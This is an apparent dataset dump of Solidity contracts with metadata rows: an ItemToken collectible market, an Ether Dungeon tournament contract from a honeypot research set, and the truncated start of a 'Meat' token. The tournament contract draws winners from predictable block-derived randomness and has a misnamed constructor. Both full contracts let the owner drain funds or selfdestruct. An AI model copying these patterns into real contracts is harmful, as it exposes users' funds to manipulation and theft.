contracts/realworld-contracts/0x6d0fd5dbc5c73d4e156ead77ed7ab115313dfbca.sol
| 3,922 | 13,204 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemToken {
using SafeMath for uint256; // Loading the SafeMath library
// Events of the contract
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner; // owner of the contract
address private charityAddress; // address of the charity
mapping (address => bool) private admins; // admins of the contract
IItemRegistry private itemRegistry; // Item registry
bool private erc721Enabled = false;
// limits for devcut
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256[] private listedItems; // array of items
mapping (uint256 => address) private ownerOfItem; // owner of the item
mapping (uint256 => uint256) private startingPriceOfItem; // starting price of the item
mapping (uint256 => uint256) private previousPriceOfItem; // previous price of the item
mapping (uint256 => uint256) private priceOfItem; // actual price of the item
mapping (uint256 => uint256) private charityCutOfItem; // charity cut of the item
mapping (uint256 => address) private approvedOfItem; // item is approved for this address
// constructor
constructor() public {
owner = msg.sender;
admins[owner] = true;
}
// modifiers
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
// contract owner
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
// Set charity address
function setCharity (address _charityAddress) onlyOwner() public {
charityAddress = _charityAddress;
}
// Set item registry
function setItemRegistry (address _itemRegistry) onlyOwner() public {
itemRegistry = IItemRegistry(_itemRegistry);
}
// Add admin
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
// Remove admin
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
// Withdraw
function withdrawAll () onlyOwner() public {
owner.transfer(address(this).balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
// Listing
function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public {
for (uint256 i = 0; i < _itemIds.length; i++) {
if (charityCutOfItem[_itemIds[i]] > 0 || priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) {
continue;
}
listItemFromRegistry(_itemIds[i]);
}
}
function listItemFromRegistry (uint256 _itemId) onlyOwner() public {
require(itemRegistry != address(0));
require(itemRegistry.ownerOf(_itemId) != address(0));
require(itemRegistry.priceOf(_itemId) > 0);
require(itemRegistry.charityCutOf(_itemId) > 0);
uint256 price = itemRegistry.priceOf(_itemId);
uint256 charityCut = itemRegistry.charityCutOf(_itemId);
address itemOwner = itemRegistry.ownerOf(_itemId);
listItem(_itemId, price, itemOwner, charityCut);
}
function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner, uint256 _charityCut) onlyAdmins() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner, _charityCut);
}
}
function listItem (uint256 _itemId, uint256 _price, address _owner, uint256 _charityCut) onlyAdmins() public {
require(_price > 0);
require(_charityCut >= 10);
require(_charityCut <= 100);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
require(charityCutOfItem[_itemId] == 0);
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
startingPriceOfItem[_itemId] = _price;
charityCutOfItem[_itemId] = _charityCut;
previousPriceOfItem[_itemId] = 0;
listedItems.push(_itemId);
}
// Buy
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
// Dev cut
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100); // 5%
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100); // 4%
} else if (_price < increaseLimit3) {
return _price.mul(3).div(100); // 3%
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100); // 3%
} else {
return _price.mul(2).div(100); // 2%
}
}
// Buy function
function buy (uint256 _itemId, uint256 _charityCutNew) payable public {
require(priceOf(_itemId) > 0); // price of the token has to be greater than zero
require(_charityCutNew >= 10); // minimum charity cut is 10%
require(_charityCutNew <= 100); // maximum charity cut is 100%
require(charityCutOf(_itemId) >= 10); // minimum charity cut is 10%
require(charityCutOf(_itemId) <= 100); // maximum charity cut is 100%
require(ownerOf(_itemId) != address(0)); // owner is not 0x0
require(msg.value >= priceOf(_itemId)); // msg.value has to be greater than the price of the token
require(ownerOf(_itemId) != msg.sender); // the owner cannot buy her own token
require(!isContract(msg.sender)); // message sender is not a contract
require(msg.sender != address(0)); // message sender is not 0x0
address oldOwner = ownerOf(_itemId); // old owner of the token
address newOwner = msg.sender; // new owner of the token
uint256 price = priceOf(_itemId); // price of the token
uint256 previousPrice = previousPriceOf(_itemId); // previous price of the token (oldOwner bought it for this price)
uint256 charityCut = charityCutOf(_itemId); // actual charity cut of the token (oldOwner set this value)
uint256 excess = msg.value.sub(price); // excess
charityCutOfItem[_itemId] = _charityCutNew; // update the charity cut array
previousPriceOfItem[_itemId] = priceOf(_itemId); // update the previous price array
priceOfItem[_itemId] = nextPriceOf(_itemId); // update price of item
_transfer(oldOwner, newOwner, _itemId); // transfer token from oldOwner to newOwner
emit Bought(_itemId, newOwner, price); // bought event
emit Sold(_itemId, oldOwner, price); // sold event
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price); // calculate dev cut
// Charity contribution
uint256 charityAmount = ((price.sub(devCut)).sub(previousPrice)).mul(charityCut).div(100); // calculate the charity cut
charityAddress.transfer(charityAmount); // transfer payment to the address of the charity
oldOwner.transfer((price.sub(devCut)).sub(charityAmount)); // transfer payment to old owner minus the dev cut and the charity cut
if (excess > 0) {
newOwner.transfer(excess); // transfer the excess
}
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "Tokenimals";
}
function symbol() public pure returns (string _symbol) {
return "TKS";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
// balance of an address
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
// owner of token
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
// tokens of an address
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
// token exists
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
// approved for
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
// approve
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
emit Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
emit Approval(msg.sender, _to, _itemId);
}
}
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
emit Transfer(_from, _to, _itemId);
}
// read
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) {
return startingPriceOfItem[_itemId];
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function previousPriceOf (uint256 _itemId) public view returns (uint256 _previousPrice) {
return previousPriceOfItem[_itemId];
}
function charityCutOf (uint256 _itemId) public view returns (uint256 _charityCut) {
return charityCutOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function readCharityAddress () public view returns (address _charityAddress) {
return charityAddress;
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice, uint256 _charityCut) {
return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId), charityCutOf(_itemId));
}
// selfdestruct
function ownerkill() public onlyOwner {
selfdestruct(owner);
}
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) {
uint256[] memory items = new uint256[](_take);
for (uint256 i = 0; i < _take; i++) {
items[i] = listedItems[_from + i];
}
return items;
}
// util
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
}
interface IItemRegistry {
function itemsForSaleLimit (uint256 _from, uint256 _take) external view returns (uint256[] _items);
function ownerOf (uint256 _itemId) external view returns (address _owner);
function priceOf (uint256 _itemId) external view returns (uint256 _price);
function charityCutOf (uint256 _itemId) external view returns (uint256 _charityCut);
}
| 143,820 | 14,043 |
a150da7f324786266bc38f2e82932b01063c1dd4a6ed81baf1e7817bcfe8cfef
| 24,508 |
.sol
|
Solidity
| false |
169629423
|
christoftorres/HoneyBadger
|
ff30c9a1b75a3fdc0f81188234b75d8b22c0df2f
|
datasets/source_code/hidden_state_update/0x95be22039da3114d17a38b9e7cd9b3576de83924.sol
| 4,732 | 19,101 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
/// @dev Interface to the Core Contract of Ether Dungeon.
contract EDCoreInterface {
/// @dev The external function to get all the game settings in one call.
function getGameSettings() external view returns (uint _recruitHeroFee,
uint _transportationFeeMultiplier,
uint _noviceDungeonId,
uint _consolationRewardsRequiredFaith,
uint _challengeFeeMultiplier,
uint _dungeonPreparationTime,
uint _trainingFeeMultiplier,
uint _equipmentTrainingFeeMultiplier,
uint _preparationPeriodTrainingFeeMultiplier,
uint _preparationPeriodEquipmentTrainingFeeMultiplier);
function getPlayerDetails(address _address) external view returns (uint dungeonId,
uint payment,
uint dungeonCount,
uint heroCount,
uint faith,
bool firstHeroRecruited);
function getDungeonDetails(uint _id) external view returns (uint creationTime,
uint status,
uint difficulty,
uint capacity,
address owner,
bool isReady,
uint playerCount);
function getDungeonFloorDetails(uint _id) external view returns (uint floorNumber,
uint floorCreationTime,
uint rewards,
uint seedGenes,
uint floorGenes);
function getHeroDetails(uint _id) external view returns (uint creationTime,
uint cooldownStartTime,
uint cooldownIndex,
uint genes,
address owner,
bool isReady,
uint cooldownRemainingTime);
/// @dev Get the attributes (equipments + stats) of a hero from its gene.
function getHeroAttributes(uint _genes) public pure returns (uint[]);
function getHeroPower(uint _genes, uint _dungeonDifficulty) public pure returns (uint totalPower,
uint equipmentPower,
uint statsPower,
bool isSuper,
uint superRank,
uint superBoost);
/// @dev Calculate the power of a dungeon floor.
function getDungeonPower(uint _genes) public pure returns (uint);
function calculateTop5HeroesPower(address _address, uint _dungeonId) public view returns (uint);
}
/// @dev Core Contract of "Enter the Coliseum" game of the ED (Ether Dungeon) Platform.
contract EDColiseumAlpha is Pausable, ReentrancyGuard, Destructible {
struct Participant {
address player;
uint heroId;
uint heroPower;
}
/// @dev The address of the EtherDungeonCore contract.
EDCoreInterface public edCoreContract = EDCoreInterface(0xf7eD56c1AC4d038e367a987258b86FC883b960a1);
/// @dev Seed for the random number generator used for calculating fighting result.
uint _seed;
/// @dev The required win count to win a jackpot.
uint public jackpotWinCount = 3;
/// @dev The percentage of jackpot a player get when reaching the jackpotWinCount.
uint public jackpotWinPercent = 50;
/// @dev The percentage of rewards a player get when being the final winner of a tournament.
uint public winPercent = 55;
uint public losePercent = 35;
/// @dev Dungeon difficulty to be used when calculating super hero power boost, 1 is no boost.
uint public dungeonDifficulty = 1;
/// @dev The required fee to join a participant
uint public participationFee = 0.02 ether;
/// @dev The maximum number of participants for a tournament.
uint public constant maxParticipantCount = 8;
/// @dev The next tournaments round number.
uint public nextTournamentRound = 1;
/// @dev The current accumulated rewards pool.
uint public tournamentRewards;
/// @dev The current accumulated jackpot.
uint public tournamentJackpot = 0.2 ether;
/// @dev Array of all the participant for next tournament.
Participant[] public participants;
/// @dev Array of all the participant for the previous tournament.
Participant[] public previousParticipants;
uint[maxParticipantCount / 2] public firstRoundWinners;
uint[maxParticipantCount / 4] public secondRoundWinners;
uint[maxParticipantCount / 2] public firstRoundLosers;
uint[maxParticipantCount / 4] public secondRoundLosers;
uint public finalWinner;
uint public finalLoser;
mapping(uint => uint) public heroIdToLastRound;
/// @dev Mapping of player ID to the consecutive win counts, used for calculating jackpot.
mapping(address => uint) public playerToWinCounts;
/// @dev The PlayerTransported event is fired when user transported to another dungeon.
event TournamentFinished(uint timestamp, uint tournamentRound, address finalWinner, address finalLoser, uint winnerRewards, uint loserRewards, uint winCount, uint jackpotRewards);
/// @dev Payable constructor to pass in the initial jackpot ethers.
function EDColiseum() public payable {}
/// @dev The external function to get all the game settings in one call.
function getGameSettings() external view returns (uint _jackpotWinCount,
uint _jackpotWinPercent,
uint _winPercent,
uint _losePercent,
uint _dungeonDifficulty,
uint _participationFee,
uint _maxParticipantCount) {
_jackpotWinCount = jackpotWinCount;
_jackpotWinPercent = jackpotWinPercent;
_winPercent = winPercent;
_losePercent = losePercent;
_dungeonDifficulty = dungeonDifficulty;
_participationFee = participationFee;
_maxParticipantCount = maxParticipantCount;
}
/// @dev The external function to get all the game settings in one call.
function getNextTournamentData() external view returns (uint _nextTournamentRound,
uint _tournamentRewards,
uint _tournamentJackpot,
uint _participantCount) {
_nextTournamentRound = nextTournamentRound;
_tournamentRewards = tournamentRewards;
_tournamentJackpot = tournamentJackpot;
_participantCount = participants.length;
}
/// @dev The external function to call when joining the next tournament.
function joinTournament(uint _heroId) whenNotPaused nonReentrant external payable {
uint genes;
address owner;
(,,, genes, owner,,) = edCoreContract.getHeroDetails(_heroId);
// Throws if the hero is not owned by the sender.
require(msg.sender == owner);
// Throws if the hero is already participated in the next tournament.
require(heroIdToLastRound[_heroId] != nextTournamentRound);
// Throws if participation count is full.
require(participants.length < maxParticipantCount);
// Throws if payment not enough, any exceeding funds will be transferred back to the player.
require(msg.value >= participationFee);
tournamentRewards += participationFee;
if (msg.value > participationFee) {
msg.sender.transfer(msg.value - participationFee);
}
// Set the hero participation round.
heroIdToLastRound[_heroId] = nextTournamentRound;
// Get the hero power and set it to storage.
uint heroPower;
(heroPower,,,,) = edCoreContract.getHeroPower(genes, dungeonDifficulty);
// Throw if heroPower is 12 (novice hero).
require(heroPower > 12);
// Set the participant data to storage.
participants.push(Participant(msg.sender, _heroId, heroPower));
}
/// @dev The onlyOwner external function to call when joining the next tournament.
function startTournament() onlyOwner nonReentrant external {
// Throws if participation count is not full.
require(participants.length == maxParticipantCount);
// FIGHT!
_firstRoundFight();
_secondRoundWinnersFight();
_secondRoundLosersFight();
_finalRoundWinnersFight();
_finalRoundLosersFight();
// REWARDS!
uint winnerRewards = tournamentRewards * winPercent / 100;
uint loserRewards = tournamentRewards * losePercent / 100;
uint addToJackpot = tournamentRewards - winnerRewards - loserRewards;
address winner = participants[finalWinner].player;
address loser = participants[finalLoser].player;
winner.transfer(winnerRewards);
loser.transfer(loserRewards);
tournamentJackpot += addToJackpot;
// JACKPOT!
playerToWinCounts[winner]++;
// Reset other participants' consecutive winCount.
for (uint i = 0; i < participants.length; i++) {
address participant = participants[i].player;
if (participant != winner && playerToWinCounts[participant] != 0) {
playerToWinCounts[participant] = 0;
}
}
// Detemine if the winner have enough consecutive winnings for jackpot.
uint jackpotRewards;
uint winCount = playerToWinCounts[winner];
if (winCount == jackpotWinCount) {
// Reset consecutive winCount of winner.
playerToWinCounts[winner] = 0;
jackpotRewards = tournamentJackpot * jackpotWinPercent / 100;
tournamentJackpot -= jackpotRewards;
winner.transfer(jackpotRewards);
}
// Reset tournament data and increment round.
tournamentRewards = 0;
previousParticipants = participants;
participants.length = 0;
nextTournamentRound++;
// Emit TournamentFinished event.
TournamentFinished(now, nextTournamentRound - 1, winner, loser, winnerRewards, loserRewards, winCount, jackpotRewards);
}
/// @dev The onlyOwner external function to call to cancel the next tournament and refunds.
function cancelTournament() onlyOwner nonReentrant external {
for (uint i = 0; i < participants.length; i++) {
address participant = participants[i].player;
if (participant != 0x0) {
participant.transfer(participationFee);
}
}
// Reset tournament data and increment round.
tournamentRewards = 0;
participants.length = 0;
nextTournamentRound++;
}
/// @dev Withdraw all Ether from the contract.
function withdrawBalance() onlyOwner external {
// Can only withdraw if no participants joined (i.e. call cancelTournament first.)
require(participants.length == 0);
msg.sender.transfer(this.balance);
}
function setEdCoreContract(address _newEdCoreContract) onlyOwner external {
edCoreContract = EDCoreInterface(_newEdCoreContract);
}
function setJackpotWinCount(uint _newJackpotWinCount) onlyOwner external {
jackpotWinCount = _newJackpotWinCount;
}
function setJackpotWinPercent(uint _newJackpotWinPercent) onlyOwner external {
jackpotWinPercent = _newJackpotWinPercent;
}
function setWinPercent(uint _newWinPercent) onlyOwner external {
winPercent = _newWinPercent;
}
function setLosePercent(uint _newLosePercent) onlyOwner external {
losePercent = _newLosePercent;
}
function setDungeonDifficulty(uint _newDungeonDifficulty) onlyOwner external {
dungeonDifficulty = _newDungeonDifficulty;
}
function setParticipationFee(uint _newParticipationFee) onlyOwner external {
participationFee = _newParticipationFee;
}
/// @dev Compute all winners and losers for the first round.
function _firstRoundFight() private {
// Get all hero powers.
uint heroPower0 = participants[0].heroPower;
uint heroPower1 = participants[1].heroPower;
uint heroPower2 = participants[2].heroPower;
uint heroPower3 = participants[3].heroPower;
uint heroPower4 = participants[4].heroPower;
uint heroPower5 = participants[5].heroPower;
uint heroPower6 = participants[6].heroPower;
uint heroPower7 = participants[7].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if ((heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)) {
firstRoundWinners[0] = 0;
firstRoundLosers[0] = 1;
} else {
firstRoundWinners[0] = 1;
firstRoundLosers[0] = 0;
}
// 2 Vs 3
rand = _getRandomNumber(100);
if ((heroPower2 > heroPower3 && rand < 60) ||
(heroPower2 == heroPower3 && rand < 50) ||
(heroPower2 < heroPower3 && rand < 40)) {
firstRoundWinners[1] = 2;
firstRoundLosers[1] = 3;
} else {
firstRoundWinners[1] = 3;
firstRoundLosers[1] = 2;
}
// 4 Vs 5
rand = _getRandomNumber(100);
if ((heroPower4 > heroPower5 && rand < 60) ||
(heroPower4 == heroPower5 && rand < 50) ||
(heroPower4 < heroPower5 && rand < 40)) {
firstRoundWinners[2] = 4;
firstRoundLosers[2] = 5;
} else {
firstRoundWinners[2] = 5;
firstRoundLosers[2] = 4;
}
// 6 Vs 7
rand = _getRandomNumber(100);
if ((heroPower6 > heroPower7 && rand < 60) ||
(heroPower6 == heroPower7 && rand < 50) ||
(heroPower6 < heroPower7 && rand < 40)) {
firstRoundWinners[3] = 6;
firstRoundLosers[3] = 7;
} else {
firstRoundWinners[3] = 7;
firstRoundLosers[3] = 6;
}
}
/// @dev Compute all second winners of all first round winners.
function _secondRoundWinnersFight() private {
// Get all hero powers of all first round winners.
uint winner0 = firstRoundWinners[0];
uint winner1 = firstRoundWinners[1];
uint winner2 = firstRoundWinners[2];
uint winner3 = firstRoundWinners[3];
uint heroPower0 = participants[winner0].heroPower;
uint heroPower1 = participants[winner1].heroPower;
uint heroPower2 = participants[winner2].heroPower;
uint heroPower3 = participants[winner3].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if ((heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)) {
secondRoundWinners[0] = winner0;
} else {
secondRoundWinners[0] = winner1;
}
// 2 Vs 3
rand = _getRandomNumber(100);
if ((heroPower2 > heroPower3 && rand < 60) ||
(heroPower2 == heroPower3 && rand < 50) ||
(heroPower2 < heroPower3 && rand < 40)) {
secondRoundWinners[1] = winner2;
} else {
secondRoundWinners[1] = winner3;
}
}
/// @dev Compute all second losers of all first round losers.
function _secondRoundLosersFight() private {
// Get all hero powers of all first round losers.
uint loser0 = firstRoundLosers[0];
uint loser1 = firstRoundLosers[1];
uint loser2 = firstRoundLosers[2];
uint loser3 = firstRoundLosers[3];
uint heroPower0 = participants[loser0].heroPower;
uint heroPower1 = participants[loser1].heroPower;
uint heroPower2 = participants[loser2].heroPower;
uint heroPower3 = participants[loser3].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if ((heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)) {
secondRoundLosers[0] = loser1;
} else {
secondRoundLosers[0] = loser0;
}
// 2 Vs 3
rand = _getRandomNumber(100);
if ((heroPower2 > heroPower3 && rand < 60) ||
(heroPower2 == heroPower3 && rand < 50) ||
(heroPower2 < heroPower3 && rand < 40)) {
secondRoundLosers[1] = loser3;
} else {
secondRoundLosers[1] = loser2;
}
}
/// @dev Compute the final winner.
function _finalRoundWinnersFight() private {
// Get all hero powers of all first round winners.
uint winner0 = secondRoundWinners[0];
uint winner1 = secondRoundWinners[1];
uint heroPower0 = participants[winner0].heroPower;
uint heroPower1 = participants[winner1].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if ((heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)) {
finalWinner = winner0;
} else {
finalWinner = winner1;
}
}
/// @dev Compute the final loser.
function _finalRoundLosersFight() private {
// Get all hero powers of all first round winners.
uint loser0 = secondRoundLosers[0];
uint loser1 = secondRoundLosers[1];
uint heroPower0 = participants[loser0].heroPower;
uint heroPower1 = participants[loser1].heroPower;
// Random number.
uint rand;
// 0 Vs 1
rand = _getRandomNumber(100);
if ((heroPower0 > heroPower1 && rand < 60) ||
(heroPower0 == heroPower1 && rand < 50) ||
(heroPower0 < heroPower1 && rand < 40)) {
finalLoser = loser1;
} else {
finalLoser = loser0;
}
}
// @dev Return a pseudo random uint smaller than lower bounds.
function _getRandomNumber(uint _upper) private returns (uint) {
_seed = uint(keccak256(_seed,
block.blockhash(block.number - 1),
block.coinbase,
block.difficulty));
return _seed % _upper;
}
}
| 16,127 | 14,044 |
046ac9d9a6f970f75f46ae30bd7f833abad4fffe805dd40a58014a42b264b31f
| 30,607 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/6d/6da637e8A075CFe723dbC1cE756fD301AeBa67EC_Meat.sol
| 3,370 | 13,471 |
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
